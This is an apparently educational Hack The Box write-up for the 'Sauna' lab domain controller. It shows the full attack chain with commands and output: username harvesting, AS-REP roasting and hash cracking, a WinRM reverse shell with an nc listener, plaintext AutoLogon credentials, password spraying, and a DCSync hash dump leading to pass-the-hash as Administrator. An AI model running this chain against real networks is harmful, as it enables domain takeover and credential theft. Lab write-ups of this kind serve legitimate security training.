HTB - Sauna

Target IP: 10.129.95.180 Domain: EGOTISTICAL-BANK.LOCAL DC Hostname: SAUNA.EGOTISTICAL-BANK.LOCAL OS: Windows Server 2019 Difficulty: Easy Assumed Breach: No - initial access via OSINT username enumeration Author: [g1nt0n1x]


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing

| smb2-security-mode:
|_    Message signing enabled and required

Port Analysis & Attack Surface

PortServiceNotes
80/tcpHTTP / IIS 10.0Company website - potential OSINT source
88/tcpKerberosDomain Controller confirmed
389/tcpLDAPDomain: EGOTISTICAL-BANK.LOCAL
445/tcpSMBSigning required - relay attacks blocked
5985/tcpWinRMRemote shell entry point

Port 80 stands out immediately on a DC - it is a web server we can browse for information. No SMB guest/null session tested here because port 80 gives us a better lead.


2. Phase 2: OSINT - Username Harvesting from the Website

2.1 Browse the Company Website

The IIS server hosts a static company site for “Egotistical Bank.” All pages are static and forms are non-functional - typical HTB web filler. However, the About Us page lists the employee team:

Fergus Smith
Shaun Coins
Bowie Taylor
Sophie Driver
Steven Kerb
Hugo Bear

These are real names of likely domain users. We do not know the AD username format yet (could be fsmith, fergus.smith, fergussmith, f.smith, etc.).

2.2 Generate Username Candidates with username-anarchy

username-anarchy takes real names and generates every common username format derived from them. This is exactly the right tool when you have names but no confirmed naming convention.

# Save the names
cat > usernames.txt << EOF
Fergus Smith
Shaun Coins
Bowie Taylor
Sophie Driver
Steven Kerb
Hugo Bear
EOF
 
# Generate all username format variations
./username-anarchy -i usernames.txt > possible-usernames.txt

This produces candidates like: fergus, fsmith, fergus.smith, f.smith, smithf, ferguss, etc. - dozens of variations per name.


3. Phase 3: AS-REP Roasting with Username Enumeration

Instead of first confirming which usernames are valid and then AS-REP roasting separately, we can do both in one step. nxc --asreproast will attempt an AS-REP request for every username in the list - accounts that exist AND have pre-auth disabled will return a crackable hash. Accounts that don’t exist simply return KDC_ERR_C_PRINCIPAL_UNKNOWN and are skipped silently.

nxc ldap 10.129.95.180 -u possible-usernames.txt -p '' --asreproast asreproast.txt
# $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:60e37f91...

Two things learned from this single command:

  1. The username fsmith exists in AD (naming convention = first initial + last name)
  2. fsmith has Kerberos pre-authentication disabled - we have a crackable AS-REP hash

3.1 Crack the AS-REP Hash

# -m 18200: Kerberos 5 AS-REP etype 23 (RC4)
hashcat -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txt -O --force
# fsmith:Thestrokes23

3.2 Validate & Establish Shell

nxc winrm 10.129.95.180 -u fsmith -p Thestrokes23
# [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

Using nxc-shell (custom tool) for a fast reverse shell via WinRM - lighter than evil-winrm, no upload/download but quick for initial access:

nxc-shell nishang winrm 10.129.95.180 -u fsmith -p Thestrokes23
# listener: rlwrap nc -lvnp 8100
# whoami: egotisticalbank\fsmith

Or via evil-winrm for full functionality:

evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23

4. Phase 4: Local Enumeration - AutoLogon Credentials

4.1 Run winPEAS

upload /usr/share/peass/winpeas/winPEASx64.exe
./winPEASx64.exe > winPEAS_sauna.txt
type winPEAS_sauna.txt

4.2 AutoLogon Credentials in Registry

winPEAS flags a critical finding:

Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName   : EGOTISTICALBANK
    DefaultUserName     : EGOTISTICALBANK\svc_loanmanager
    DefaultPassword     : Moneymakestheworldgoround!

Windows AutoLogon stores credentials in the registry at: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

These are stored in plaintext so Windows can log in automatically at boot - no encryption, no protection beyond the registry ACL. Any local admin (or user with SeBackupPrivilege) can read them.

4.3 Username Mismatch - Always Enumerate Users

The credentials svc_loanmanager:Moneymakestheworldgoround! fail to authenticate. The username stored in AutoLogon does not match the actual AD account. Enumerate all domain users to find the real name:

nxc smb 10.129.95.180 -u fsmith -p Thestrokes23 --users
# HSmith
# FSmith
# svc_loanmgr    <--- NOT svc_loanmanager

The AutoLogon entry was set with the wrong username (svc_loanmanager) but the password belongs to svc_loanmgr. Password spray confirms it:

nxc smb 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
# [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!

Lesson: When a credential fails, always enumerate the real user list and spray the password - typos in AutoLogon, descriptions, and scripts are common.


5. Phase 5: BloodHound Enumeration

With svc_loanmgr credentials, collect BloodHound data using RustHound-CE - a fast, reliable Rust-based ingestor:

rusthound-ce -i 10.129.95.180 -d EGOTISTICAL-BANK.LOCAL \
    -u svc_loanmgr -p 'Moneymakestheworldgoround!' -c All -z -v

Upload the zip to BloodHound CE. BloodHound workflow:

  1. Search for Domain Users - show all members
  2. Right-click each owned account - set as Owned
  3. Cypher tab - run “Shortest Paths from Owned Objects to Tier Zero”
  4. Investigate the result

Finding: svc_loanmgr has DCSync rights on the domain (GetChanges + GetChangesAll extended rights on the domain root).


6. Phase 6: DCSync - Domain Admin

python /usr/share/doc/python3-impacket/examples/secretsdump.py \
    EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::

Note: The RemoteOperations failed: rpc_s_access_denied error at the start is normal - secretsdump tries a registry-based method first, falls back to DRSUAPI when that fails. The DRSUAPI DCSync still succeeds.

6.1 Validate & Shell as Administrator

nxc smb 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
# [+] EGOTISTICAL-BANK.LOCAL\administrator:823452073d75b9d1cf70ebdf86c7f98e (Pwn3d!)
 
nxc-shell nishang smb 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
# whoami: egotisticalbank\administrator

Domain compromised.


Deep Dive: OSINT Username Generation

When you have real names from a website, LinkedIn, or email signature but no confirmed usernames, username-anarchy is the fastest way to generate a complete candidate list. It knows every common corporate username format:

FormatExample (Fergus Smith)
firstfergus
f.lastf.smith
first.lastfergus.smith
flastfsmith
lastfsmithf
first_lastfergus_smith
lastsmith

On a real engagement, the naming convention is often confirmed from one cracked account - then you generate a proper list for that format only. On HTB, AS-REP roasting the full candidate list is the fastest approach: the KDC confirms valid usernames implicitly via the error codes it returns.

Using AS-REP Roasting as a Username Oracle

The Kerberos AS-REQ exchange leaks whether a username exists:

KDC ResponseMeaning
KDC_ERR_C_PRINCIPAL_UNKNOWNUsername does not exist
KDC_ERR_PREAUTH_REQUIREDUsername exists, pre-auth IS required (not vulnerable)
AS-REP hash returnedUsername exists, pre-auth is NOT required (vulnerable - crack it)

nxc’s --asreproast silently filters the first two cases and only outputs hashes. This means you can dump a list of 500 candidate usernames, get back only the valid + vulnerable ones, and never see the noise.


Deep Dive: AutoLogon Credentials

Windows AutoLogon allows a machine to log in automatically at boot without user interaction. It stores the credentials unencrypted in the registry:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultUserName   = domain\username
    DefaultPassword   = plaintext_password
    AutoAdminLogon    = 1

Why It’s a Critical Finding

  • Plaintext storage - the password is not hashed, not encrypted, not protected beyond the registry ACL
  • Readable by local admins - anyone who achieves local admin (or SeBackupPrivilege) can read HKLM\SOFTWARE
  • Often service account credentials - AutoLogon is typically set for kiosk machines or servers that need to auto-start services under a specific account - those accounts often have elevated domain privileges

How winPEAS Finds It

winPEAS reads the Winlogon registry key directly and outputs any non-empty DefaultPassword values. This is one of the first things to check after gaining local admin - it takes milliseconds and frequently yields domain credentials.

The Typo Pattern

The svc_loanmanager vs svc_loanmgr mismatch is a real-world pattern. Admins who set AutoLogon often:

  • Mistype the username when configuring it
  • Set it before the account was renamed
  • Copy a username from memory incorrectly

The stored password is still valid - it just needs the correct username. Always spray a recovered password against the full user list before dismissing it as wrong.


Deep Dive: RustHound-CE vs SharpHound

RustHound-CE is a BloodHound ingestor written in Rust. Compared to the default SharpHound (C#):

PropertySharpHoundRustHound-CE
LanguageC# (.NET)Rust
ExecutionRuns on target (upload needed) or via nxcRuns on Kali directly
AV detectionHigh - well-known binaryLower - less commonly signatured
SpeedFastVery fast
Remote operationNeeds credentials + network accessYes - runs from attacker machine
OutputBloodHound-compatible ZIPBloodHound-compatible ZIP

The key advantage for HTB/pentest: RustHound-CE runs entirely from your Kali machine over the network. No upload to the target needed, no AV evasion required.

# Full collection from Kali, no target-side execution
rusthound-ce -i <dc-ip> -d <domain> -u <user> -p <pass> -c All -z -v

Deep Dive: secretsdump RemoteOperations Error

When you run secretsdump, you may see this at the start:

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

This is not a failure. secretsdump tries two methods in sequence:

  1. RemoteOperations (registry method) - connects via SMB to the RemoteRegistry service and dumps SAM/LSA secrets that way. Requires RemoteRegistry to be running and specific access rights. This often fails on DCs.

  2. DRSUAPI (DCSync method) - uses the directory replication protocol to pull credentials. This is what actually runs when you see [*] Using the DRSUAPI method to get NTDS.DIT secrets.

The error on step 1 is expected and harmless when step 2 succeeds. The full domain credential dump still completes.


Key Takeaways & Checklist

  • A web server on a DC is an OSINT opportunity - employee names from “About Us” pages become username candidates
  • username-anarchy converts real names into every possible AD username format - feed the full list to --asreproast
  • AS-REP roasting doubles as username enumeration - the KDC response codes implicitly confirm which names exist
  • winPEAS AutoLogon check is mandatory after every initial shell - plaintext credentials stored in registry are common
  • When credentials fail, enumerate the real user list and spray the password - typos in AutoLogon usernames are a real pattern
  • After every new credential, run BloodHound - DCSync rights are often missed without graph-based analysis
  • secretsdump.py RemoteOperations failed is not an error - DRSUAPI fallback still dumps everything
  • RustHound-CE runs from Kali over the network - no upload to target needed, lower AV exposure than SharpHound